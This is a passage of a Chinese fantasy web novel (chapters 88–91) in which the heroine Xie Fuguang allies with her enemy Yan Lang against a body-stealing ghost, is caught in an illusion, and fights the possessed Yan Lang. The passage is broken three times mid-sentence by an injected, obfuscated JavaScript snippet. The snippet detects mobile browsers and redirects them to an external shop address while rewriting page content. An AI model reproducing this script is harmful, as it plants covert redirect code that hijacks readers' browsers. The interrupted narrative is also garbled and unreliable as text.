怎么想都不对劲,谢扶光索性接着道:“此外,刚刚在找回前世记忆之前,天道曾提醒我一句话,似是别有深意。祂称,凡事不可为表象所惑,还需寻到真正症结。” “这让我想到万里悲丘中引诱颜琅堕鬼的声音,”她说,“那个声音既是厉鬼降世的主导者,想来比颜琅还要强大,也更可怕,或许颜琅并非是我们最大的敌人。” “所以你认为,即便单从利益角度,颜琅亦有五成与我们联手的可能?”崔惊厄读懂她的未尽之言。 谢扶光颔首。 她的确猜测颜琅后来所为是受了那声音影响的不由己之举。 颜琅作为厉鬼,看似能号令不计其数的妖魔,权力极大,实则处境亦有些尴尬。 那道声音既强调人世盛衰与厉鬼能力的此消彼长关系,想必对人世的危难乐见其成,若颜琅是那贪图力量之徒,将手一寸寸伸向人界,彻底化六合之内为他的养料,凡人覆灭鬼怪横行之日,他恐怕也失了用处,届时便将是鸟尽弓藏之时。 何况很长一段时间内,颜琅都不曾倚仗厉鬼身份,给世间带来真正可怖的灾祸,在背后那声音眼里,他大概是个不太听话的厉鬼,它还有多少耐心等他慢慢腾腾替自己办事也尚未可知。 总归无论在人这边,还是鬼那头,颜琅的处境都不算好,他们想打破平衡,与他短暂联合,自不是毫无胜算。 “你疯了?”舒扬舟却道,“这些年因为他死了多少人?我们怎么能与他联手?” 舒扬舟除去损人时偶尔拐弯,性子大多时候都带着不与高贵冷艳外表相匹配的刚直,尤其这会儿前世记忆刚刚回笼,在他看来,他们与颜琅之间隔着大仇,应当是不死不休的关系。 他师妹简直是在做梦! “联手并非交好,”谢扶光萌生此念,何尝不是如鲠在喉,“我只是觉得大敌当前,有些事可以过后清算。” 舒扬舟沉着脸别过头,显然不欲再听她狡辩。 他们内部僵持之际,一不速之客的声音却从身后传来。 “因为这点小事闹不愉快,为时尚早吧,”空中乍现一个透明漩涡,颜琅身影乍现,“毕竟,联手的事我还没答应呢。” 88.合作! 颜琅出现的瞬间,谢扶光紧了紧握刀的手。 不得不承认,在这一霎,她对舒扬舟的话深感认同。 他们与颜琅,终究要杀一个你死我活。 因为他的现身,就意味着李兰允已经死了。 叶放、轻尘、朱颜故、李兰允、江星、谢白扇、宛流萤、崔成阳……一个个名字都是这份大仇的注脚,绝无可能泯灭,更何况还有前世的他们,想起前世在万里悲丘的一幕幕,谢扶光心尖都恨得发颤。 “那道声音后来还找过你么?”心下默念两遍天道的提醒,谢扶光勉力克制着,没被胸中恨意冲昏头脑。 “若没记错,我们是仇人吧?”颜琅笑道,他依然占着谢白扇的躯壳,让人越看越是想杀,“想让我告诉你,你得拿我想要的筹码来换。” “你不就是要我的身体?”大家都这么熟了,他心思谢扶光自然了然,也不必打机锋,“待杀了那道声音的主人,我可以给你。” 颜琅闻言,笑意更浓:“空口做生意,不好吧。” “你的身体我现在就要,你肯给么?”他问。 “我说姓颜的,”崔惊厄上前两步插话进来,“你真是白读那么多书,没听过‘己所不欲,勿施于人’么?我看你跟你那师父越来越像了。” 此话之于颜琅,比说他不如圈里的猪还要令他不豫,闻言他面色果然微沉。 “好歹做了我两辈子的女儿,我与谢大小姐开个小玩笑而已,你非来激怒我,现在我是真的不想说了。”他耸耸肩,丝滑地把锅扣给崔惊厄。 “哦,你既不愿合作,那就算了。”谢扶光并不坚持。 本来与颜琅合作就像捡一张沾屎的银票,他既没那个意愿,正巧省了他们纠结。 乐命绕她手腕旋转几圈,谢扶光戒备抬眼,竟是已拉开对战架势。 “在李兰允的化影境你们打不过我,难不成这会儿就能打过了?”颜琅挑眉。 “打不过又如何?总是要打的。”谢扶光随口敷衍。 其实她还存了另一番心思:随前世记忆一并涌入脑海的,还有那可剥魂夺壳的沥魂指功法,等会儿打起来她若能钻到空子,将颜琅魂魄剥离谢白扇躯壳,失去肉身或许对他能力亦有削弱。 只是恐怕很难成功。 如颜琅所言,在化影境中他们才打过一场,当时他已然强悍至极,此刻在他的地盘,他们胜算只会更小。 然而…… 真正交手的情况与谢扶光所料存在很大出入。 两方堪堪过了百余招,颜琅便已现不敌之势。 谢扶光深觉蹊跷,疑心有诈,一时不知该不该冒进,与其余几人交换眼神,他们亦是如此。唯宁磐往好听了说心性纯然些,满脸兴奋地把手中暗器一把把往颜琅身上扔。 谢扶光怕他出事,只得提刀迎上,乐命的雪白锋刃与郎绝的黑气刃相抗,同时颜琅与她交换一个眼神。 谢扶光见后一愣。 “别扔了。”她制止宁磐继续浪费暗器的动作,借口称,“他用的还是我父亲的身体。” “我有更好的办法,”边说她边遵循记忆默念沥魂指法诀,结成一个剥魂夺壳的手势,对准颜琅额心,威胁道:“带我们出厉鬼境。” 宁磐整个人看醉了。 饶是脑子不太聪明,他也知道这点拙劣的小把戏必唬不住颜琅,也不知谢扶光怎么想的,智商都留在前世了么? 哪知颜琅身形遽烈摇晃,支撑不住一般单膝跪地,呕出大口黑血。 血喷洒在黄沙,一阵腐蚀声响。 这不是人的血液,想来伤不在谢白扇肉躯,而在他魂魄。 “大小姐不杀我?”一丝黑色血渍沿唇角滑下,颜琅狼狈仰头,“你此刻能制服我,是因为我破血阵时受了魂伤,下次可就没这么好的机会了。” 谢扶光厌烦地蹙眉,但还是耐着性子说:“别以为我不知道,想杀你,得先毁厉鬼境,与其被你困死此处,不如回去从长计议。” 颜琅瞧出谢扶光的不耐,用衣袖拭去唇角血迹,终究没再多说什么,只道:“罢了,我愿意配合,谁叫我舍不得这具躯壳呢?” 说着,他眉心隐有黑气浮动,似在以意念操控什么。 再一转眼,众人已在厉鬼境外,面前还是境入口的飞来石,若非旁边多了个碍眼的颜琅,恍若境中一切从未发生。 舒扬舟一见他拳头就硬,他没留意厉鬼境中颜琅和谢扶光的眼神交换,只当颜琅真的受了伤,刚回神立即提剑上前,君子美德都不要了,只想趁他病要他命。 而颜琅只轻轻挥一挥袖,就挡住了他的一击,刚刚还孱弱不敌的鬼,这会儿又似全身无恙了。 谢扶光插到两人之间,面向颜琅:“厉鬼境中有东西盯着你?” 适才颜琅眼神示意她有话出去说,所以她才配合着演了出戏,哪知这鬼东西台词还好几句,搞得她烦躁不已。 颜琅回头瞥了眼,没答她的话,只道:“我长话短说,你们若想合作,我亦有此意。” 他都这么说了,舒扬舟纵还是不愿,到底顾着大局没有再加阻拦,只讥诮勾了勾唇角,刺了句:“阁下一只厉鬼,还真是爱凑我们人的热闹。” 这话他早就想说了,谁让颜琅伪装谢白扇骗了他们那么多年,偏他还是受思想荼毒最深的那个。 颜琅却道:“你这话可是错了。” “狡辩!你可没少在人界掺和!”宁磐忿忿哼了一声。 “这句我认,”颜琅微低头耷着眼皮,看不出神色,“但我什么时候说我是厉鬼了?” “你这话又是何意?”谢扶光抬眸。 “厉鬼骗了我,它想入人界,却受天道的两重限制。”谈及此事,颜琅兴致不高,尽可能说得简略,“首先,它需要选一只生魂为锚点,这生魂既需足够强大,能帮它完成接下来的事,又需对世间有充足的恨意,总结一下就是各界广为流传的那堕鬼三要素。” 堕鬼三要素——死时生魂离窍,一霎怨气冲天,生前修为近神。 难怪颜琅死时修为尚未达近神境界,也能破 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14209788|133453||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 格堕了鬼,原来这三要素并不是钉死的,关键还要看厉鬼的眼缘。 “那你的邪力又从何来?”想到化影境中,他展现出的超强实力,谢扶光对他如上说法并不很信服。 “呵,”颜琅扯了扯唇角,既像嘲弄,也似自嘲,“这便是那鬼东西的高明之处了。” “它虽有了我做这个锚点,能降临世间,却仍面临天道设下的第二重限制:它只能受困于与我达成交易之地,也就是万里悲丘。若想冲破限制入世,便需要一个容纳它的合适躯壳。” 他说到这儿,谢扶光就明白了。 厉鬼境想要躯壳,又不信服颜琅会尽心替自己办事,便巧言骗了他。 果然,颜琅继续道:“他予我力量,号令万千妖魔对我服从,方方面面做足了戏,让我以为我真的变成了厉鬼,但其实我能调用的每一分力量都源于它,至于我本身,依然是几十年前那个被生生剥离出躯壳的游魂而已。” 他一番话信息量太大,简直颠覆了所有人的认知。 崔惊厄挑剔审视他看似真诚的说辞,狐疑质问:“若真如此,之前在化影境怎么不说?恕我直言,以阁下的品性,我们很难轻易交付信任。” “在化影境你当我不想说么?”颜琅翻了个小小的白眼,表情瞧着像有什么难言之隐,憋了半晌出来的却是一句,“只是那个时候,我也不知道而已。” “我不清楚你们在厉鬼境触发了什么机缘,总之就在赶来此地的路上,我脑海深处突然涌现了大量前世记忆。” 这话倒是挺值得相信的。 毕竟在前世颜琅与他们打过不少交道,天道篡改记忆之时,应是将他的也做了少许变更,想必随着他们前世记忆的归位也一并拨乱反正了。 “前世我满心欢喜将厉鬼境收纳入你的躯壳,还以为达成了多年夙愿,”他看着谢扶光说,“哪知等来却是它的过河拆桥。它彻底入世,再无忌惮,便不再予我力量,我毫无反抗之力,只能任由它将理智与心志侵蚀殆尽,彻底沦为它的傀儡。” 难怪颜琅会主动与他们合作,听来他与厉鬼之间的确是大仇,都快赶上他们与他的仇了。 “若要合作,有些事先说明白为宜。”谢扶光沉吟半晌,很快做出决断,“当下我们可与你短暂结盟,而一旦灭了厉鬼,我们之间便会立即回归你死我活的关系。” 颜琅闻言轻笑:“到那时我一只生魂,与你们几个高手斗法,还真是我死你们活。” “但你依然愿意合作?”谢扶光了然般问。 毕竟若换作是她,也必不甘心平白被摆这么一道。 颜琅果然点头:“自然,说实话,当年与厉鬼合作,我至今依然未后悔过。” 世界上的事太复杂,他喜欢一码归一码,借下一个的势报上一个的仇,若再结下新的仇,便再借下下个的势,直到仇尽亦或他死为止。 谢扶光扫视一眼所有同伴,见即便情绪最激烈的舒扬舟都没再提出异议,便对颜琅道:“好,现在你手上有什么信息,可以说了吧?” 89.转折 “其实,我对它所知也并不太多。”为了维护岌岌可危的信任,颜琅说完多解释了句,“它太谨慎,自从与我达成那‘堕鬼’的交易后,便再没以那道声音的形式出现过。” “所以前后两世这么多年过去,你愣是没发现它半点破绽?”崔惊厄不信,“颜大盟主分明很能耐才对,过分谦虚了吧?” “倒也不算毫无所获,只是都是些主观揣测,未经验证,说出来我怕带偏了行动。”颜琅道。 “你不说才是毫无头绪。”谢扶光开口。 她既这么说,颜琅也不再藏拙,总归合作就是各抒己见的试错过程。 “有关厉鬼,我可以确定那句‘人间盛一分,厉鬼损三分’并非诳语。”这一点从前世厉鬼入世后搞出的那些祸事便能看出,更何况他还因对人界“太好”,狠狠触了厉鬼的霉头。 “但我们总不能通过繁荣人界的方式来损耗它,”谢扶光觉得他这句说了胜似没说,“太慢了,而且……我不确定我们的联盟有耐心维续到那时候。” 八成不待厉鬼境损耗殆尽,他们先打个你死我活了。 “的确,”颜琅亦表示赞同,接着道,“此外,我还知道一点,厉鬼除非借助它选定的人类锚点,否则无法直接攻击他人肉身。依据前世入世后它的种种表现,它大多靠编织幻境让人深陷其中,扰乱人的心神,让人们在它的恶意引导下自相残杀,亦或自取灭亡。” 谢扶光恹恹听着,她对厉鬼的攻击方式兴趣不大,须知对战时她从来是以攻为守。 “该如何毁去厉鬼境,你知不知道?”她直接问道,“这么多年,你既一直当厉鬼境是你的东西,想来对它有些了解,它可有什么薄弱之处?” “厉鬼境说到底不过是厉鬼用来哄骗的伪装,”颜琅只道,“厉鬼千变万化,可凝聚为各种形状,厉鬼境自然也变化无穷,即便有薄弱之处,通常在被发现时,已悄然挪移到了另一地方,它变得永远比你找得快,休说我们只有七人,便是叫上全修界的人来,也不一定能逮着其罩门。” “若非要挑一条弱点出来,恐怕也只是出不得万里悲丘了。”他最后说。 “那如果,”颜琅最后的一句本是说来撑场面的,谢扶光竟当真认真思索起来,“对整片万里悲丘下手,它是不是就必死无疑了?” 倒不失为一个方法,就是操作起来有些麻烦。 “万里悲丘覆延太广,此法需得各宗配合方能成事。”颜琅沉吟道,“待回去后,我会召集仙盟各宗,尝试说服他们。” 谢扶光点点头,事情到这儿基本就算解决了,可她心里总不上不下:对付厉鬼这连天道都忌惮三分的存在,他们解决得仿佛过分轻易了。 但眼下又没什么更好办法,她便按下心头隐忧,只是对颜琅说:“回去这一路,我们就不必同行了吧。” 该互通的信息皆已交代,下一步如何也有了双方一致认同的安排,是时候恢复仇人应有的边界感。 颜琅自无二话,两方就此分道。 回程路远,谢扶光叫崔惊厄唤出小美人,他拍了拍藏蛟,小美人却难得矜持,不太愿意出来。 “怎么不听话了?”对于逆子的不给面子,崔惊厄深觉面上无光。 望着一反常态的藏蛟,谢扶光心头异样又破土而出,她再次打开秘境舆图确认,见他们确出了厉鬼境无疑,心下这才稍安。 只是小美人的抵触便更显怪异起来:好好的青天白日,它平素那么淘气,这会儿有什么不愿出来的? 一个念头尚未转完,身后兀地拂来一缕阴风,卢笑绒示警声响起的同时,谢扶光耳朵一动,身形矫健一错,堪堪躲开郎绝的黑气刃。 颜琅丝毫不给她留喘息机会,手腕一转,第二刀以一个刁钻角度接踵而至。 来不及挥出乐命格挡,谢扶光核心发力,腰肢弯曲成一个可怕弧度,微弯双膝擦过郎绝刀上黑气,在距他一米处旋身站定。 “与我们联盟,你反悔了?”颜琅中途反水,谢扶光倒没太惊讶,甚至早有预料。对于颜琅品性,她一向不太信服,何况今日心中烦躁,似某种警兆,她始终多带了一丝警惕。 “我又仔细想了想,与你们结盟委实不太划算,”颜琅轻笑,“处理厉鬼一事,终归要靠各宗门联合。既是集力行事,少了你们几个便也无伤大雅,更何况我现在不除去你们,难道还等厉鬼死后由你们来杀我么?” 谢扶光品他的话,只觉一番分析确有道理,就是太无耻了些。 “既如此,便开打吧。”她平静道。 总归一早就料过这一战,颜琅一会儿结盟一会儿又毁约的反复之举,也不过在徒增波折后,将事情推回到原点而已。 话音落下的瞬间,谢扶光霎时出手,开局便是强悍杀招。 “颜琅”反手挽一个刀花接下她这一招,两人彼此动作俱是一顿。 谢扶光只觉“颜琅”刀式变了,因自幼钻研他刀法,她对他习惯的出招方式甚是熟悉。 颜琅的刀大开大合,兼干脆利落,是把当之无愧的杀人刀,华丽不足,但锋利有余。 打斗之际下意识挽出个华而不实的剑花,这通常是像她师兄那种骚包剑修的拿手戏,颜琅从不会多此一举。 现在的“颜琅”很诡异。 谢扶光只一瞬失神功夫,“颜琅”身形便如一道幽冥鬼影,倏然闪现在她身后,耳后微弱风声侵袭,她侧身向右躲避,同时顺势出左腿猛扫他下盘。 “颜琅”左踝受击,骨头闷响,身形却未颤,生生扛下她一击,经这一绊,他出招到底一滞,谢扶光借这片时起身,余光掠过,才发现适才贴耳袭来的并非兵刃,而是一道明黄符咒。 眼下情形更加怪异起来。 她可从未听过颜琅还通符术。 在看到符咒的刹那,她想到黎暨,进而总算察觉几招下来,竟始终是她自己在与“颜琅”单打独斗,其余人没一个上前,这显然不合常理。 破绽接二连三,便一定是有问题。 又一个转瞬,“颜琅”变到她右前方,这一次他把“郎绝”换到了左手。 谢扶光边以乐命与“郎绝”过招,边思忖究竟何处出了问题,如此一心二用,竟也与功夫深不可测的“颜琅”打成平手。 混沌间颜琅不久前刚说过的话轰然于脑海:“厉鬼多靠编织幻境让人深陷其中,自相残杀,亦或自取灭亡……” 想到某种可能,她心头一寒。 倘若秘境舆图上的显示,亦或“入口”处的飞来石也能作假,他们此刻会不会仍在厉鬼境中? 暗自唏嘘之际,对面的“颜琅”似也觉察什么,骤然就撤了力道,乐命刀尖失去阻碍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14222748|133453||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,畅通向前划去,眼见要插进对方胸口,于千钧一发间又被谢扶光及时勾回。 对面一声轻笑:“大小姐,果然是你?” “崔惊厄?”问出这句的同时,谢扶光眼前光景骤变,原本的“颜琅”也换成了崔惊厄的脸。 左右环顾,四下哪有颜琅踪影? 不远处宁磐、卢笑绒和黎暨看起来状态正常,已先一步脱离幻境,唯独她那愚蠢的师兄,还提着高端大气的七星绝命剑,茫然四顾,草木皆兵。 见谢扶光清醒了,卢笑绒三两步跑上前来。 “大小姐,幻境中虚实穿插,厉鬼把我们每个人都幻化成了彼此间最忌惮的模样,又胡乱编造一些说辞,挑起更深仇怨,”卢笑绒是第一个出来的,她心性最为纯然,厉鬼那点利用邪念为之的小把戏在她眼中竟是一目了然,“若要把人拉出幻境,则需以他们喜欢或在乎的东西为牵引,在虚与实间搭一个桥梁。” “譬如,我带回宁磐,是通过牵了他的手;唤醒黎大哥,是答应给他一壶酒。”她举例说明,“至于你和崔师兄,你们出招太凶,我们一直不敢近身,好在你们互相熟悉,打了没多久就认出彼此。” 谢扶光点头以示了然。 相比其余五人,舒扬舟执念显然最深,也最是难醒。 谢扶光尝试叫他一声:“师兄?” 不知厉鬼将她这话扭曲成了什么模样,舒扬舟听罢竟是一剑劈来:“想动我师妹,先过我这关!” 大概做的是谢扶光被剥魂夺壳的幻梦,他双眼杀得血红,从瞳底透着狠绝,一个人在漫漫黄沙之上执剑挥舞。 若在平常看见这滑稽一幕,谢扶光准得拿来当十天半月的笑料,这会儿见他为自己如此,她却只觉难过。 眼见舒扬舟无法沟通,谢扶光索性闭嘴,径直提刀迎上。 她幻境中交手的第一个“颜琅”,大概就由舒扬舟幻化而成,当时见着那剑花她就觉得熟悉,只是没多想,现在想来,交手后他动作的一顿应当便是由于认出了她的招式。 此番以刀剑唤舒扬舟回现实,谢扶光没用平素惯用的凶厉刀法,而是使出他们幼年启蒙时练的基础刀式。 当年在与崔惊厄和卢笑绒结为好友之前,“谢白扇”除去布置任务,通常不太管他们,一直是小小的她与小小的舒扬舟相依为命,两个小朋友一个提刀一个执剑,曾将基础刀式剑式对练一遍又一遍,彼此皆有着最为深刻的肌肉记忆。 果然,寥寥几招在虚幻与现实间击出一条通路,舒扬舟很快认出与他过招的人,他缓下动作,轻唤一声:“师妹?” 他声音里带着失而复得的惊喜,下一瞬涣散视线聚拢,人已“醒”了过来。 至此,他们这边已全都清醒,只差一个情况不明的颜琅了。 相较敌人,总是背叛者更令人恼怒。 倘若这一切并非颜琅与厉鬼串通好的,厉鬼窥破他异心,他那边想必更加堪忧。 谢扶光不在意颜琅安危,但他不适宜在这时候出事。 作为整个仙盟的主心骨,他若死,修界多半要乱,而眼下厉鬼未除,他们内部先乱起来没有好处。 她平素不喜思量揣度,既已与厉鬼隔空交过手,遂对着厉鬼境与外界一般无二的虚空问: “藏头藏尾非英雄,不出来打声招呼么?” 90.悬殊战 随谢扶光话音落下,虚空里又一道声音紧跟着响起:“你好啊,我的身体。” 厉鬼的声音听来并不邪恶,甚至像名慈祥老者,一句问候响在八方四面,却勾起密不透风的悚然。 谢扶光只觉它无处不在,或许某一刻,就曾化为一缕细风从她脸颊滑过。 这种随时随地、仿佛每个毛孔都被窥探的感觉很不好,谢扶光强压下几乎溢出来的恶心,半试探半嘲弄:“话别说太早,颜琅可不想给你当狗了,没他帮你,你怎么夺我的躯壳?” 若颜琅没骗他们,厉鬼没有它选定的人类锚点相助,应无法直接攻击他人肉身。 厉鬼闻言嗤笑,笑声在谢扶光后颈化作一缕阴风。 “你不信他,所以你在试探我,”厉鬼比她想象中更聪明,“适才我正是利用你的不信任编织幻境诱你陷入。” “谢扶光,说实话,你在我所见的这么多人里,算是心思较透明磊落的一个,颜琅满心仇恨,远不及你。连你都未能将幻境立即勘破,颜琅身上尽是我所需要的邪念养料,他只会陷得更深,我想让他毫不知情为我所用,又有何难?” 谢扶光听出它意思:“所以,你控制了他?” 她心中飞掠数念,思索它对颜琅的控制自何时开始,跟他们结盟的那个颜琅究竟确为他本身,还是只是厉鬼骗他们玩的一场游戏…… “不用猜了,那个蠢货会背叛我,我其实也深感意外。”厉鬼耐心解惑,竟是什么都没打算瞒他们,“化影境中他闯血阵时的确受了伤,但远没表现得那么重,我一开始也被骗过了。得亏我舍不得放跑你这么好的容器,就悄悄帮了他一把,让你们误以为已离开厉鬼境,哪成想我好心相助,竟撞见这样一出叛变好戏。” 了解了事情始末,谢扶光心情却愈发沉重,须知有时知道太多并非多好的事,厉鬼愿将一切告知,总不会是大发善心,倒更像……不再忌惮他们。 她有种相当不妙的预感,总觉得它还为他们准备了什么“大礼”。 “谢扶光,你又猜对了。”对于负面情绪的波动,厉鬼相当敏感,谢扶光心下隐忧竟似透明敞开在他面前。 宁磐他们跟不上思路,朝这边投来费解的目光,谢扶光心跳骤升,一股浓烈的压迫感席卷神经,赶在脑子反应过来之前,她已将乐命横于前胸,朝身后厉喝:“做好准备,有危险!” 一道罡风擦着她尾音落下,谢扶光骤然回身,乐命与郎绝相撞,铮然的撞击声为平静氛围作结,拉开狂乱的序曲。 不知所踪的颜琅凭空出现,状态明显不对,谈结盟时的人味儿荡然无存,此刻的他就像把他们每一个人都当成了鸣皋刀圣,招招式式都带着你死我活的狠绝,比厉鬼更像厉鬼。 他刀法本就凌厉,又有厉鬼赋予的强大力量加持,饶是几人一齐上前,也在他剑芒逼迫下一再避退。 颜琅似不知疼痛与疲倦,千余招接过,依然精力充沛,力道丝毫未曾削减。 而谢扶光他们再强,却也是肉体凡胎,更无超常力量相助,时间拖得越久,越现颓势。 宁磐前胸被螭寐在康城灼出的创口还没好全,即便用了最上等的灵药,动作一久,伤口依然呈现一定程度的崩裂,他虽没参与近战,却一直见缝插针朝颜琅丢暗器,丢着丢着,喉间兀地一甜,身形摇晃,竟是踉跄着喷出一口鲜血。 身边卢笑绒将耳力与目力调用到极致,正拿着一叠防护道具,以待前方四人疏漏时精准掷出,替他们挡下攻击。这会儿见宁磐支撑不住,难免分了心神,防护道具挡得不及时,舒扬舟右肩当即被郎绝刀尖刺了个对穿,他体力虚耗太过,行动略缓,没能避开这一刀,染满邪气的刀尖侵入皮肉,锐痛炸开,他咬牙闷哼一声,顷刻激出一头冷汗。 舒扬舟强自忍痛试图续上剑招,终究心有余而力不足,如此一来,他与崔惊厄配合施用的霜寒剑式缺了一角力量支撑,局势一下更加艰难。 谢扶光一肘隔开还想上前的舒扬舟,挥刀顶在崔惊厄一侧,分去他部分压力,她自己这边又露了破绽。 左支右绌间,她难免转了个念头:若是他们两个那条姻缘线能够续上,崔惊厄能用右手剑就好了。 但她也只是想了想,眼下不是做白日梦的时候。 颜琅还在发疯,他们这边颓势越来越明显,再拖下去怕会死人,得尽快想办法。 卢笑绒说,若想将人从幻境拉回现实,需得以他喜欢的东西为引,用正念战胜邪念。 谢扶光且战且退,边避郎绝锋芒边絮絮说着话,她从酒谈到刀,从问鼎修界的抱负又到颜琅少年时那些世间太平百姓和乐的宏伟愿景,可无论说什么,都没能将他唤醒。后来想到初入幻境时戏台上那曲游园惊梦,又托对听曲儿颇有心得的黎暨给他唱了两句,黎暨尴尬照做,颜琅却始终没要清醒的迹象,反而越打越凶。 又强撑着过了数百招,黎暨侧腰被刀气豁开一道掌余长的创口,鲜血滴答落于黄沙,砸出绝望闷声。 同时卢笑绒的声音自不远处传来:“大小姐,防护道具没有了,灵药也要空了。” 两千招不到,还能站着打的已只剩谢扶光和崔惊厄。 前世也是在万里悲丘的厉鬼境,她与她的同伴皆覆灭于此,她费了那么大力气重来这一世,不是为迎接相同结局的。 “颜琅!”想到这儿,谢扶光心中兀地升起一股浓烈不甘,哑声厉喝:“醒醒!你选择堕鬼不就是不甘心被鸣皋摆布,现在你就那么甘心被一只连面都不敢露的鬼物控制么?!” 谢扶光在赌。 因她自己心中不甘喧嚣,她推己及人,想要反其道而行,以这份浓郁不甘搭成带颜琅通往现实的桥梁。 但同时此法又极凶险,须知不甘与怨怒正是厉鬼的养料,一旦颜琅的不甘心不足以冲破幻境,他只会被控制更深。 按道理,她不该把他们这么多人性命系于一赌,只是眼下已然穷途末路,她再无他法。 谢扶光说完 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14233342|133453||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,手握乐命更紧,死盯颜琅变化。 很遗憾,颜琅双瞳混沌依然,攻击仍在持续,甚至较先前更加汹涌。 她大概赌错了。 “别挣扎了,认输吧,”厉鬼的声音再度幽幽响起,“见着我的身体受伤,我真是心疼极了。” 谢扶光战到现在,虽侥幸未受大伤,若说身上没一道伤口,却怎么也不太可能。厉鬼既觊觎她躯壳,对她受伤自然是不乐见的。 谢扶光没理它,足下轻盈避开郎绝黑刃,脖颈却遭刀气刮出一道擦伤,殷红血线蜿蜒淌进衣领。 厉鬼见状叹息一声,又引诱道:“不若这样,你乖乖把躯壳给我,我就放了他们五个。” 谢扶光依旧不应。 覆巢之下无完卵,这点道理她还是懂的。 上一个跟厉鬼做交易的人就在她面前,已经失去神志了。 她油盐不进,厉鬼被激出怒气,化为郎绝刀上实质杀意,漩涡一样席卷在她和崔惊厄周身。 他们如飓风之中两片飘飞残叶,再怎么拼力相抗,也难摆脱绝对力量的裹挟。 刀气化成的“飓风”越缠越紧,粉碎二人的纷飞发丝与飘扬袍边,眼见就要将他们身体切碎。 而就在这时,“风”骤然停了。 谢扶光和崔惊厄双双坠地,呕出一口血。 只当厉鬼舍不得她身体出事才收了手,谢扶光竭力撑起身体,朝虚空蔑然望去一眼。 她狼狈得近乎失声,那一眼的含义却明显:你那么强,却也心有忌惮,不敢杀我。 哪知不待厉鬼回话,竟是颜琅先开了口。 他说:“谢扶光,你说的不错,我不甘心。” 他怎么可能甘心? 他这一生都汲汲于摆脱受制于人,为此,他甘愿与鬼为伍,甘愿敌对同族,甘愿背弃理想抱负,甘愿令昔日的自己不齿。 但他颜琅唯一不甘愿的,就是沦为被摆布的灵魂。 凭什么,他就非得做旁人棋盘上的一粒子、死生都无足轻重的垫脚石? 他可以寄生于他人肉身,可以轻易改换立场,可以极尽卑劣,可以杀人甚至自杀,但无论如何,他都只想为他自己活着。 是以谢扶光那句质问振聋发聩,当真在他脑海中搭成了从虚幻通往现实的桥梁,他与厉鬼的邪念博弈,勉力攀爬,终于从幻境的泥潭抽身,好在不算太晚。 “颜琅,我还真是小瞧了你。”厉鬼显然不会放任颜琅脱离掌控,边说着边将对他的控制又加深一重,“你不甘心又如何?蚍蜉撼树,可笑至斯,今日我必要让你替我剥下她躯壳,届时你将为你的背叛付出代价!” 这一次厉鬼动了真格,谢扶光能明显感到周围鬼气涌动,厉鬼的力量从四面八方向颜琅聚集,他好不容易回复清明的眉目重归混沌,郎绝刀再度扬起。 “大小姐,周围……”这当口,卢笑绒却小声叫了一声。 谢扶光扫了个眼神过去,示意她不要多话。 91.枭雄殁 厉鬼眼里,颜琅不过是个愚蠢蝼蚁,活该为它所用,鞠躬尽瘁后再受它所弃。 一朝遭蝼蚁背叛,厉鬼比之任何时候都更恼怒。它邪念本就炽盛,这点怒气就像燎原星火,在它脑中炸了个沸反盈天。 厉鬼自恃强大,早将谢扶光他们几个半大少年当作囊中物,过高心气最易折损理智。 它现在就有些冲动了。 厉鬼再强,能力也终有边界,卢笑绒鼻子灵,能清晰嗅出境中鬼气正逐渐稀薄,谢扶光、崔惊厄这些功力更强的则能隐约感应到厉鬼境能量的波动,它在颜琅身上投入力量越多,剩下的就越少,眼下厉鬼境已有些动摇了。 谢扶光面上不动声色,佯作不知,恐厉鬼窥探情绪,甚至有意收敛了心念。 事实上,此刻高兴确实也为时尚早,厉鬼境纵现了颓势,可颜琅状态与之此消彼长,这会儿又认不出人了。 现在的颜琅比之初时更加可怕,他一改对他们分散攻击时的打法,刀刀直指谢扶光,大有不拿下她躯壳不罢休之势。 谢扶光身上纵无大伤,小伤却受了太多,浑身上下遍布刀风割出的破口,细小疼痛堆叠,只觉整具身体无一处舒适,加上体力消耗过度的极致疲累,再硬的骨头亦有些吃不消。 崔惊厄在旁频频出剑干扰,她才得以连滚带爬又撑过百来招,招招狼狈至极,平素纤尘不染的湖水蓝色衣裙也已沾满黄沙。 唯一可喜的是,颜琅意志比他们想象中更强大,打斗全程他清醒过几次,每次都在关键时刻,要么是结成沥魂指的手即将点在谢扶光前额之际,要么在就要斩杀捣乱的崔惊厄之时。 如此数次三番逃脱掌控,厉鬼显然更加生气,融入他魂魄的邪气不断增多,连宁磐都能感到厉鬼境的变化了。 与厉鬼的能力一样,颜琅的意志也终有极限,再强大的不甘也不足以保证他每次都能从重重幻境剥出。 几次下来,颜琅清醒所需的时间越来越久。 